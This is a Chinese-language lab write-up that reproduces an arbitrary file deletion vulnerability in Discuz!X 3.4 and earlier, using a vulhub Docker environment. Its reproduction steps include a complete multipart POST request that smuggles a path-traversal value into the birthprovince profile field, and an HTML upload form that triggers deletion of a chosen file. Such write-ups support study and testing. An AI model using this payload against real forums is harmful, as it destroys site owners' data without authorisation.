Discuz!X ≤3.4 任意文件删除漏洞
0x01漏洞概述
Discuz!X社区软件是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，Discuz!修复了一个安全问题用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到Wooyun漏洞平台，Seebug漏洞平台收录了该漏洞，漏洞编号ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的formtype判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他unlink条件，实现任意文件删除漏洞。
漏洞详情：
https://lorexxar.cn/2017/09/30/dz-delete/
0x02影响版本
Discuz!X ≤3.4
0x03漏洞环境
1、启动漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/discuz/x3.4-arbitrary-file-deletion]
└─# docker-compose up -d
2、访问路径，安装Discuz
http://39.99.161.182/install/
安装过程中，数据库地址改为db，其他选择默认。
3、复现完成后，删除漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/discuz/x3.4-arbitrary-file-deletion]
└─# docker-compose down
0x04复现过程
1、安装完成后，访问robots.txt文件
http://your-ip/robots.txt
2、进入注册页面，注册信息
http://your-ip/member.php?mod=register
3、注册完成后，在个人设置页面找到自己的formhash：
4、带上自己得Cookie、formhash发送如下数据包：
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功后，用户资料修改页面上得出生地就会显示成功，如下图：
5、新建一个upload.html，代码如下，将其中的your-ip改成discuz的域名，form-hash改成你的form-hash
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用浏览器打开该页面，上传一个正常得图片。此时脏数据应该已被提取出，漏洞已经利用结束。
再次访问robots.txt，发现文件已经被删除
http://your-ip/robots.txt
